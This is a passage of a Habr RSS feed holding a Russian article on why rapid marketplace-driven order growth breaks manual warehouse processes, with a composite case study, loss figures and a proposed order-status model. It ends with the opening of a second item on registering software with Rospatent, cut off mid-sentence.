      <pubDate>Wed, 10 Jun 2026 15:15:08 +0000</pubDate>
    </item>
    <item>
      <title>Быстрый оборот убивает медленный склад: почему рост заказов ломает логистику</title>
      <link>https://habr.com/ru/companies/intekey/articles/1046137/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046137</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Склад перестает справляться не только из-за нехватки людей или площади. Часто причина проще: бизнес уже работает на другой скорости, а склад всё ещё живёт по старым правилам.&lt;p&gt;Подключили маркетплейсы, развили e-commerce, добавили доставку день в день — и нагрузка выросла не линейно. Выручка может прибавить 30–40%, а количество складских операций — в 2–3 раза. Бизнес видит рост продаж. Склад видит больше строк, коробок, этикеток, статусов, возвратов и срочных уточнений.&lt;p&gt;В этот момент всплывают старые «мы так привыкли»: бумажный отбор, неточные остатки, упаковка в ручном режиме, статусы задним числом, зависимость от пары опытных сотрудников. Раньше это было неудобно. Теперь начинает стоить денег.&lt;p&gt;Эта статья — о том, почему быстрый оборот ломает медленный склад, какие участки проседают первыми и что менять, чтобы склад выдерживал рост без ежедневного героизма.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/294/77c/da7/29477cda78881176a58c629a9489abc9.png alt=&#34;Выручка растёт на 30–40%, а число складских операций — в 2–3 раза. Склад видит не рубли, а строки, коробки и этикетки.&#34; title=&#34;Выручка растёт на 30–40%, а число складских операций — в 2–3 раза. Склад видит не рубли, а строки, коробки и этикетки.&#34; width=1376 height=768 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/294/77c/da7/29477cda78881176a58c629a9489abc9.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/294/77c/da7/29477cda78881176a58c629a9489abc9.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Выручка растёт на 30–40%, а число складских операций — в 2–3 раза. Склад видит не рубли, а строки, коробки и этикетки.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Почему склад перестает справляться при росте заказов&lt;/h3&gt;&lt;p&gt;Склад может стабильно работать при 150 заказах в день и начать срывать сроки при 450. При этом команда, помещение, стеллажи и учетная система остаются теми же.&lt;p&gt;Чаще всего склад просто спроектирован под другой режим: меньше заказов, крупнее партии, больше времени на уточнения, ниже требования к статусам и срокам отгрузки.&lt;p&gt;Когда бизнес подключает маркетплейсы, развивает e-commerce или вводит доставку день в день, меняется не только количество заказов. Растет число действий: отбор, проверка, упаковка, печать этикеток, закрытие статусов, работа с возвратами и ручными исключениями.&lt;p&gt;Реальную нагрузку на склад показывает не оборот в рублях, а количество операций.&lt;h3&gt;Что изменилось в товарообороте&lt;/h3&gt;&lt;p&gt;Покупатель привык видеть наличие товара, срок отгрузки и статус заказа. Это уже не только B2C. В B2B клиенты тоже хотят понимать, есть ли товар, когда он уедет и что происходит с заказом.&lt;p&gt;Маркетплейсы добавили к этому временные окна, рейтинги, штрафы, статусы, лимиты отмен и требования к маркировке. Если заказ не собран вовремя, площадке всё равно, что у вас «приемка немного задержалась». В системе будет нарушение.&lt;p&gt;Для коммерческого отдела маркетплейс — новый канал продаж. Для склада — резкий рост мелких операций. Рост выручки не всегда означает такой же рост пропускной способности.&lt;p&gt;Например:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Было&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Стало&lt;/strong&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;150 заказов в день&lt;td&gt;&lt;p align=left&gt;450 заказов в день&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;6–8 строк в заказе&lt;td&gt;&lt;p align=left&gt;1–2 строки в заказе&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Отгрузка партиями&lt;td&gt;&lt;p align=left&gt;Отдельная упаковка на каждый заказ&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Статус обновляется вручную&lt;td&gt;&lt;p align=left&gt;Статус нужен почти в реальном времени&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Часть заказов можно перенести на завтра&lt;td&gt;&lt;p align=left&gt;Есть жесткое временное окно&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Оборот в рублях может вырасти умеренно. Но действий в отборе, упаковке и закрытии заказов становится кратно больше.&lt;p&gt;И здесь начинается то, что потом называют «склад не справился».&lt;h3&gt;Что такое медленный склад&lt;/h3&gt;&lt;p&gt;Медленный склад — не обязательно плохой склад. Это склад, рассчитанный на спокойный поток заказов.&lt;p&gt;Он может быть рабочим и понятным для команды. У него может быть нормальный начальник склада, опытные кладовщики и приемлемая точность отгрузок. Проблема начинается, когда скорость заказов становится выше, чем допускает текущая организация процессов.&lt;p&gt;Обычно такой склад держится на четырех вещах.&lt;h3&gt;Память сотрудников&lt;/h3&gt;&lt;p&gt;Опытные кладовщики знают, где лежит товар, какие упаковки похожи, какие поставщики часто ошибаются, какие клиенты требуют особой комплектации.&lt;p&gt;На небольшом потоке это помогает. Человек быстро находит товар даже без точного адресного хранения, исправляет неточности и подсказывает новичкам.&lt;p&gt;При росте заказов такая модель не масштабируется. Слишком много решений проходит через одних и тех же людей. Опытный кладовщик постепенно превращается в справочную службу склада.&lt;h3&gt;Ручное управление сменой&lt;/h3&gt;&lt;p&gt;Старший смены распределяет людей по ситуации: часть на приемку, часть на отбор, часть на срочные заказы. Приоритеты часто живут в голове руководителя или в рабочем чате.&lt;p&gt;При 150 заказах это работает. При 450 ручное управление начинает запаздывать. Решения принимаются уже после того, как очередь выросла и начала мешать соседним участкам.&lt;p&gt;Склад не управляет потоком. Он его догоняет.&lt;h3&gt;Бумага и Excel&lt;/h3&gt;&lt;p&gt;Листы подбора, отметки ручкой, отдельные таблицы для статусов, ручное обновление остатков допустимы при низкой скорости. Есть время сверить, уточнить, исправить.&lt;p&gt;При высоком потоке информация доходит до системы позже, чем товар физически перемещается по складу. Для e-commerce это уже роскошь.&lt;p&gt;Товар может быть собран, но статус ещё не закрыт. Может быть продан, но остаток ещё доступен. Может быть в приемке, но отдел продаж его не видит.&lt;h3&gt;Переработки&lt;/h3&gt;&lt;p&gt;Если склад не успевает, люди остаются после смены. Один раз — бывает. Постоянно — это уже не аврал, а модель управления.&lt;p&gt;Переработки часто маскируют системную проблему. В отчетах склад вроде справился. Просто для этого люди каждый день доплачивают своим временем.&lt;h3&gt;Как быстрый оборот ломает складской процесс&lt;/h3&gt;&lt;p&gt;Быстрый оборот редко ломает склад целиком. Обычно сначала проседает один участок. Потом он начинает тормозить остальные.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/0b7/26c/780/0b726c7800b94ffbc3faf1ffc5406b6c.png alt=&#34; Один медленный участок создаёт очередь. Комплектовщики приносят заказы быстрее, чем упаковка успевает их закрывать — и тормозит весь поток.&#34; title=&#34; Один медленный участок создаёт очередь. Комплектовщики приносят заказы быстрее, чем упаковка успевает их закрывать — и тормозит весь поток.&#34; width=2752 height=1536 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/0b7/26c/780/0b726c7800b94ffbc3faf1ffc5406b6c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/0b7/26c/780/0b726c7800b94ffbc3faf1ffc5406b6c.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt; Один медленный участок создаёт очередь. Комплектовщики приносят заказы быстрее, чем упаковка успевает их закрывать — и тормозит весь поток.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;1. Появляются очереди внутри склада&lt;/h3&gt;&lt;p&gt;Склад — это цепочка операций:&lt;p&gt;Получить заказ&lt;p&gt;↓&lt;p&gt;Назначить отбор&lt;p&gt;↓&lt;p&gt;Найти товар&lt;p&gt;↓&lt;p&gt;Отобрать&lt;p&gt;↓&lt;p&gt;Проверить&lt;p&gt;↓&lt;p&gt;Упаковать&lt;p&gt;↓&lt;p&gt;Напечатать этикетку&lt;p&gt;↓&lt;p&gt;Передать в отгрузку&lt;p&gt;↓&lt;p&gt;Закрыть статус в системе&lt;p&gt;Если один участок работает медленнее остальных, перед ним появляется очередь. При небольшом объеме она может рассосаться сама. При высоком потоке становится постоянной.&lt;p&gt;Типичный пример — упаковка. Комплектовщики приносят заказы быстрее, чем упаковщики успевают их обработать. Заказы скапливаются на тележках и в проходах. Часть уже проверена, часть ждет этикетку, часть непонятно в каком состоянии.&lt;p&gt;Со стороны кажется, что проблема в упаковщиках. Обычно нет. Проблема в том, что процесс не показывает очередь, приоритет и статус каждого заказа.&lt;h3&gt;2. Ошибки начинают повторяться сериями&lt;/h3&gt;&lt;p&gt;На небольшом складе ошибка часто остается единичной. Товар положили не туда, один комплектовщик не нашел позицию, старший смены помог, заказ собрали.&lt;p&gt;При высоком обороте та же ошибка влияет сразу на десятки заказов.&lt;p&gt;Например, товар после приемки поставили не в ту ячейку. За утро эта позиция нужна в 20 заказах. Комплектовщики приходят по старому адресу, не находят товар, откладывают заказы, зовут старшего смены и тратят время на поиск.&lt;p&gt;Одна ошибка в адресе превращается в цепочку ручных разборов.&lt;p&gt;Или в системе остался товар, которого физически уже нет. Заказы продолжают падать в работу, менеджеры подтверждают наличие, склад не может собрать.&lt;p&gt;Высокая скорость делает качество данных критичным. Ошибки в остатках, адресах, статусах и партиях быстро превращаются в очередь ручных разборов.&lt;h3&gt;Почему найм не решает проблему&lt;/h3&gt;&lt;p&gt;Когда склад перестает успевать, первое решение кажется очевидным: нанять еще людей. Иногда без найма действительно не обойтись.&lt;p&gt;Но дополнительный персонал помогает только там, где процесс уже описан и управляем. Если склад держится на памяти опытных сотрудников, новые люди сначала создают дополнительную нагрузку.&lt;p&gt;Новичку нужно объяснить:&lt;ul&gt;&lt;li&gt;&lt;p&gt;где искать товар;&lt;li&gt;&lt;p&gt;как отличить похожие артикула;&lt;li&gt;&lt;p&gt;куда ставить приход;&lt;li&gt;&lt;p&gt;какие заказы срочные;&lt;li&gt;&lt;p&gt;что делать при расхождении;&lt;li&gt;&lt;p&gt;как понять фактический статус заказа.&lt;/ul&gt;&lt;p&gt;Если ответы живут в головах старших сотрудников, каждый новый человек увеличивает количество вопросов. Склад получает больше рук, но не получает больше управляемости.&lt;p&gt;Найм без изменения процесса часто дает короткий эффект. Через несколько недель появляются те же очереди, только с большим ФОТ и большим количеством ручных согласований.&lt;p&gt;Если процесс кривой, новые люди просто быстрее начинают ходить по кривому маршруту.&lt;h3&gt;Кейс: что происходит при росте с 200 до 600 заказов в день&lt;/h3&gt;&lt;p&gt;Ниже — собирательный кейс по нескольким проектам. Цифры округлены, структура проблемы сохранена.&lt;p&gt;Компания — дистрибьютор товаров для дома: бытовая химия, аксессуары, расходные материалы, небольшая техника.&lt;p&gt;До подключения маркетплейса склад обрабатывал около 200 заказов в день. Основные каналы — оптовые клиенты и собственный интернет-магазин.&lt;p&gt;Процесс был ручным:&lt;ul&gt;&lt;li&gt;&lt;p&gt;отбор по бумажным листам;&lt;li&gt;&lt;p&gt;часть товаров без точного адресного хранения;&lt;li&gt;&lt;p&gt;остатки обновлялись с задержкой;&lt;li&gt;&lt;p&gt;статусы заказов закрывались вручную;&lt;li&gt;&lt;p&gt;опытные кладовщики знали проблемные товары и помогали новичкам.&lt;/ul&gt;&lt;p&gt;При 200 заказах склад справлялся. Если часть заказов не успевали закрыть к вечеру, их переносили на утро. Клиенты редко воспринимали это как критичную проблему.&lt;p&gt;Затем компания подключила маркетплейс по схеме FBS. Через два месяца поток вырос до 600 заказов в день.&lt;h3&gt;Что сломалось первым&lt;/h3&gt;&lt;p&gt;Первой проблемой стала упаковка.&lt;p&gt;Вместо крупных заказов пошли сотни мелких отправлений. Каждому заказу нужны отдельная упаковка, этикетка, проверка вложения и статус. Упаковочный участок стал постоянным ограничением.&lt;p&gt;Комплектовщики приносили заказы быстрее, чем упаковка успевала их закрывать. Заказы скапливались на тележках и в проходах. Статус каждого заказа приходилось уточнять вручную. Упаковка стала участком, где терялось состояние заказа: заказ попал туда, но дальше его статус знает только человек у стола.&lt;p&gt;Вторая проблема — остатки.&lt;p&gt;Заказ падал в работу, но товар не находили в ячейке. Иногда он был в зоне приемки, иногда стоял в другой ячейке, иногда уже ушел в оптовый заказ, но списание еще не обновилось.&lt;p&gt;Третья проблема — статусы.&lt;p&gt;Маркетплейс требовал точного соблюдения времени сборки и передачи заказа. Внутри склада статус часто не совпадал с физическим состоянием заказа. Коробка могла быть собрана, но не закрыта в системе. Или заказ числился готовым, хотя еще ждал этикетку.&lt;p&gt;Для склада это «почти готово». Для маркетплейса — просрочка.&lt;h3&gt;Сколько стоил рост без перестройки склада&lt;/h3&gt;&lt;p&gt;За первый месяц после роста до 600 заказов в день компания получила:&lt;ul&gt;&lt;li&gt;&lt;p&gt;420 просроченных отправлений;&lt;li&gt;&lt;p&gt;180 отмен из-за отсутствия товара;&lt;li&gt;&lt;p&gt;95 ошибочных вложений;&lt;li&gt;&lt;p&gt;310 часов переработок;&lt;li&gt;&lt;p&gt;падение рейтинга продавца;&lt;li&gt;&lt;p&gt;снижение видимости части карточек.&lt;/ul&gt;&lt;p&gt;Прямые потери составили около 1,4 млн рублей за месяц.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Источник потерь&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Сумма&lt;/strong&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Штрафы и удержания маркетплейса&lt;td&gt;&lt;p align=left&gt;280 000 ₽&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Потерянная маржа по отменам&lt;td&gt;&lt;p align=left&gt;420 000 ₽&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Переработки склада&lt;td&gt;&lt;p align=left&gt;260 000 ₽&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Повторная доставка и обработка ошибок&lt;td&gt;&lt;p align=left&gt;210 000 ₽&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Дополнительная упаковка, пересборка, ручные разборы&lt;td&gt;&lt;p align=left&gt;120 000 ₽&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Время менеджеров и поддержки&lt;td&gt;&lt;p align=left&gt;110 000 ₽&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Итого&lt;td&gt;&lt;p align=left&gt;1 400 000 ₽&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Больше всего денег съели не сами штрафы, а ручные разборы вокруг остатков, упаковки и статусов.&lt;h3&gt;Что изменили в процессе&lt;/h3&gt;&lt;p&gt;Сначала компания попыталась закрыть проблему наймом. Добавили четырех кладовщиков и двух упаковщиков.&lt;p&gt;Найм снял часть нагрузки на несколько недель, но не убрал очередь в упаковке, расхождения в остатках и ручное закрытие статусов. Поэтому дальше меняли процесс:&lt;ul&gt;&lt;li&gt;&lt;p&gt;ввели адресное хранение для ходовых SKU;&lt;li&gt;&lt;p&gt;разделили потоки: маркетплейс, опт, интернет-магазин;&lt;li&gt;&lt;p&gt;сделали отдельную зону отбора для быстрых товаров рядом с упаковкой;&lt;li&gt;&lt;p&gt;убрали бумажные листы подбора;&lt;li&gt;&lt;p&gt;перевели отбор на терминалы сбора данных;&lt;li&gt;&lt;p&gt;добавили контроль вложения через сканирование;&lt;li&gt;&lt;p&gt;настроили статусы: принято в работу, собрано, проверено, упаковано, передано в отгрузку;&lt;li&gt;&lt;p&gt;увеличили частоту синхронизации остатков с маркетплейсом.&lt;/ul&gt;&lt;p&gt;Через шесть недель склад вышел на 700 заказов в день без регулярных вечерних переработок.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Показатель&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Было&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Стало&lt;/strong&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Заказов в день&lt;td&gt;&lt;p align=left&gt;600&lt;td&gt;&lt;p align=left&gt;700&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Просроченных отправлений в месяц&lt;td&gt;&lt;p align=left&gt;420&lt;td&gt;&lt;p align=left&gt;35&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Ошибочных вложений в месяц&lt;td&gt;&lt;p align=left&gt;95&lt;td&gt;&lt;p align=left&gt;12&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Отмен из-за отсутствия товара&lt;td&gt;&lt;p align=left&gt;180&lt;td&gt;&lt;p align=left&gt;40&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Переработки&lt;td&gt;&lt;p align=left&gt;310 часов&lt;td&gt;&lt;p align=left&gt;около 100 часов&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Склад не переезжал и не увеличивал штат пропорционально росту заказов. Изменилась организация потока: адреса, статусы, зоны, правила отбора и контроль ошибок.&lt;h3&gt;Какие статусы нужны складу при быстром обороте&lt;/h3&gt;&lt;p&gt;При высоком потоке заказов недостаточно знать только «заказ создан» и «заказ отгружен». Между этими точками слишком много операций, где заказ может застрять.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/dbd/66e/fa5/dbd66efa5665e328731ba5134d59ba23.png alt=&#34;Статусы показывают, где застрял поток, а раздельный учёт остатков (физический, доступный, зарезервированный, проблемный) убирает отмены из-за «товара, которого нет»&#34; title=&#34;Статусы показывают, где застрял поток, а раздельный учёт остатков (физический, доступный, зарезервированный, проблемный) убирает отмены из-за «товара, которого нет»&#34; width=2752 height=1536 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/dbd/66e/fa5/dbd66efa5665e328731ba5134d59ba23.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/dbd/66e/fa5/dbd66efa5665e328731ba5134d59ba23.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Статусы показывают, где застрял поток, а раздельный учёт остатков (физический, доступный, зарезервированный, проблемный) убирает отмены из-за «товара, которого нет»&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Минимальная статусная модель:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Статус&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Что означает&lt;/strong&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Принят в работу&lt;td&gt;&lt;p align=left&gt;Заказ попал в складской контур&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Назначен на отбор&lt;td&gt;&lt;p align=left&gt;Система или старший смены выдали задание&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;В отборе&lt;td&gt;&lt;p align=left&gt;Комплектовщик начал сборку&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Собран&lt;td&gt;&lt;p align=left&gt;Все позиции отобраны&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Проверен&lt;td&gt;&lt;p align=left&gt;Вложение подтверждено сканированием&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Упакован&lt;td&gt;&lt;p align=left&gt;Заказ готов к передаче&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Передан в отгрузку&lt;td&gt;&lt;p align=left&gt;Заказ находится в зоне отгрузки&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Отгружен&lt;td&gt;&lt;p align=left&gt;Заказ передан перевозчику или маркетплейсу&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Исключение&lt;td&gt;&lt;p align=left&gt;Есть проблема: нет товара, пересорт, повреждение, ошибка маркировки&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Статусы нужны не для красивой отчетности. Они показывают, где именно застревает поток.&lt;p&gt;Если 300 заказов висят в статусе «собран», проблема в проверке или упаковке. Если много заказов в статусе «исключение», нужно смотреть остатки, адреса или качество приемки. Если заказы долго не переходят из «принят в работу» в «назначен на отбор», проблема в диспетчеризации.&lt;p&gt;Без статусов склад управляется по ощущениям. А ощущения на пике обычно врут.&lt;h3&gt;Как синхронизировать остатки при e-commerce и маркетплейсах&lt;/h3&gt;&lt;p&gt;При быстром обороте остаток должен обновляться ближе к реальному времени. Если склад списывает товар раз в день, маркетплейс продолжает продавать позиции, которые уже ушли в опт или лежат в незакрытом заказе.&lt;p&gt;Для e-commerce и FBS критичны четыре типа остатков:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Тип остатка&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Зачем нужен&lt;/strong&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Физический остаток&lt;td&gt;&lt;p align=left&gt;Что реально лежит на складе&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Доступный остаток&lt;td&gt;&lt;p align=left&gt;Что можно обещать клиенту&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Зарезервированный остаток&lt;td&gt;&lt;p align=left&gt;Что уже занято под заказы&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Проблемный остаток&lt;td&gt;&lt;p align=left&gt;Что есть физически, но требует проверки&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Если эти категории смешаны, начинаются отмены. Товар вроде есть, но его нельзя отгрузить. Или товар уже продан, но продолжает отображаться доступным.&lt;p&gt;На этом этапе WMS фиксирует правила потока: адреса, задания, статусы, контроль вложений, ограничения по остаткам и приоритеты отгрузки.&lt;h3&gt;Что делать, если оборот растет быстрее склада&lt;/h3&gt;&lt;p&gt;Если склад перестает справляться с ростом заказов, сначала нужно понять, какие операции создают ограничение: отбор, упаковка, приемка, статусы, остатки или передача заказов в отгрузку.&lt;h3&gt;1. Посчитать нагрузку&lt;/h3&gt;&lt;p&gt;Минимальный набор метрик:&lt;ul&gt;&lt;li&gt;&lt;p&gt;строк в день;&lt;li&gt;&lt;p&gt;заказов в день;&lt;li&gt;&lt;p&gt;пиковые часы;&lt;li&gt;&lt;p&gt;среднее количество строк в заказе;&lt;li&gt;&lt;p&gt;количество упаковок;&lt;li&gt;&lt;p&gt;время отбора;&lt;li&gt;&lt;p&gt;время упаковки;&lt;li&gt;&lt;p&gt;процент ошибок;&lt;li&gt;&lt;p&gt;процент отмен;&lt;li&gt;&lt;p&gt;количество ручных разборов;&lt;li&gt;&lt;p&gt;фактическое время обновления остатков.&lt;/ul&gt;&lt;h3&gt;2. Найти участок с очередью&lt;/h3&gt;&lt;p&gt;Начинать стоит с участка, перед которым постоянно копятся заказы: упаковка, приемка, проверка, отгрузка.&lt;p&gt;Именно он ограничивает весь склад.&lt;h3&gt;3. Убрать зависимость от памяти сотрудников&lt;/h3&gt;&lt;p&gt;Если новый кладовщик не может собрать заказ без постоянных вопросов к старшему, процесс не масштабируется.&lt;p&gt;Нужны адреса, задания, правила размещения, понятные статусы и контроль через сканирование.&lt;h3&gt;4. Проверить остатки&lt;/h3&gt;&lt;p&gt;Нужно понять, где остаток расходится с фактом: приемка, резерв, списание, возврат, обмен с маркетплейсом.&lt;p&gt;Чем быстрее оборот, тем меньше допустимое расхождение между физическим складом и данными в системе.&lt;h3&gt;5. Проверить процесс на пике&lt;/h3&gt;&lt;p&gt;Средний день ничего не показывает. Проблемы проявляются в понедельник утром, перед праздниками, во время распродаж, после рекламной акции, при сбое поставщика или при резком росте спроса на один SKU.&lt;p&gt;Склад, который работает только в средний день, работает до первого пика.&lt;h3&gt;Как понять, что склад уже не соответствует скорости бизнеса&lt;/h3&gt;&lt;p&gt;Есть несколько признаков, что склад работает выше нормальной пропускной способности:&lt;ul&gt;&lt;li&gt;&lt;p&gt;заказы регулярно закрываются после смены;&lt;li&gt;&lt;p&gt;старший смены постоянно вручную меняет приоритеты;&lt;li&gt;&lt;p&gt;упаковка или приемка каждый день собирают очередь;&lt;li&gt;&lt;p&gt;менеджеры уточняют наличие товара через мессенджер;&lt;li&gt;&lt;p&gt;остатки в системе часто не совпадают с фактом;&lt;li&gt;&lt;p&gt;новички долго не могут работать без помощи опытных сотрудников;&lt;li&gt;&lt;p&gt;ошибки повторяются сериями;&lt;li&gt;&lt;p&gt;маркетплейс снижает рейтинг из-за сроков, отмен или ошибок;&lt;li&gt;&lt;p&gt;переработки стали постоянной частью графика.&lt;/ul&gt;&lt;p&gt;Если есть два-три таких признака, проблема уже не в отдельном сотруднике и не в разовой нагрузке. Складская модель не соответствует текущей скорости бизнеса.&lt;h3&gt;Что меняется после перестройки складского процесса&lt;/h3&gt;&lt;p&gt;После перехода на управляемый поток заказ получает понятный статус на каждом этапе. Товар имеет адрес. Отбор выполняется по заданию, а не по памяти. Упаковка видит очередь и приоритет. Остатки обновляются ближе к реальному времени. Ошибки блокируются в процессе, а не разбираются после отгрузки.&lt;p&gt;Первые улучшения часто начинаются с простых шагов: выделить быстрые SKU, разнести потоки, убрать бумажный отбор, ввести контроль вложения, ускорить обновление остатков.&lt;p&gt;Дальше уже можно решать, нужна ли WMS, какая глубина автоматизации оправдана и какие зоны склада перестраивать в первую очередь.&lt;h3&gt;Финал: быстрый оборот требует другой складской логики&lt;/h3&gt;&lt;p&gt;Быстрый оборот требует склада с адресами, заданиями, статусами, актуальными остатками и контролем ошибок.&lt;p&gt;Если процесс держится на уточнениях, переработках и памяти старших сотрудников, он уже работает на пределе.&lt;p&gt;Следующий рост заказов увеличит не только выручку, но и количество срывов, отмен и ручных разборов.&lt;p&gt;Главный вопрос: что произойдет, если завтра поток вырастет в два раза?&lt;p&gt;Если ответ зависит от нескольких опытных людей, складской процесс пора перестраивать.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/intekey/articles/1046137/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046137</guid>
      <pubDate>Wed, 10 Jun 2026 15:04:47 +0000</pubDate>
    </item>
    <item>
      <title>Инструкция: как зарегистрировать программу в Роспатенте за пару дней и 5 000 руб.?</title>
      <link>https://habr.com/ru/articles/1046135/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046135</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;&lt;strong&gt;Зачем регистрировать программу?&lt;/strong&gt;&lt;p&gt;Программы для ЭВМ защищаются как объекты авторского права с момента их создания, т.е. как только разработчик написал строку кода, она защищается сразу, без каких либо условностей. Достаточно чтобы ее можно было идентифицировать (отличить от других) и при ее создании был элемент творчества (код не ограничивался воспроизведением известных фрагментов).&lt;p&gt;Однако, у Роспатента есть такая особенная государственная услуга как &amp;#34;Регистрация программы для ЭВМ&amp;#34;, под ней подразумевают по сути своей депонирование (помещение кода в репозиторий с указанием декларируемых данных автора и даты помещения).&lt;p&gt;Интересна она тем, что по итогу получается красивое свидетельство, которое любят использовать в маркетинговых материалах, а также для инвесторов. Пример свидетельства:&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/9bf/f79/7d0/9bff797d01a3c383dacaf7f6bbe16d62.png width=671 height=950 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/9bf/f79/7d0/9bff797d01a3c383dacaf7f6bbe16d62.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/9bf/f79/7d0/9bff797d01a3c383dacaf7f6bbe16d62.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Не следует путать регистрацию программы для ЭВМ в Роспатенте с выдачей свидетельства (формальная проверка, средний срок регистрации 5 рабочих дней) с патентованием ИТ-решения в качестве изобретение (длительная проверка на новизну, изобретательский уровень, промышленную применимость; средний срок патентования 8-12 месяцев).&lt;p&gt;Регистрация ПО в Роспатенте может понадобиться в следующих случаях:&lt;ul&gt;&lt;li&gt;&lt;p&gt;как подтверждения прав при включении в реестр российского софта (факультативно, можно без нее), а также для контрагентов&lt;li&gt;&lt;p&gt;для удобства идентификации и учета в юридических документах - вместо того, чтобы идентифицировать программу через ее описание достаточно указать номер государственной регистрации&lt;li&gt;&lt;p&gt;ряд региональных реестров стартапов (например, реестр стартапов Москвы) требует наличия зарегистрированной интеллектуальной собственности в Роспатенте для членства, быстрее и проще всего зарегистрировать именно программу для ЭВМ&lt;li&gt;&lt;p&gt;в случае судебного разбирательства наличие такой регистрации облегчает подтверждение прав на код, суды на практике считают что данные государственного реестра достоверные &amp;#34;пока не доказано иное&amp;#34;&lt;/ul&gt;&lt;p&gt;Она может быть осуществлена через Госуслуги, личный кабинет ФИПС или «на бумаге» в 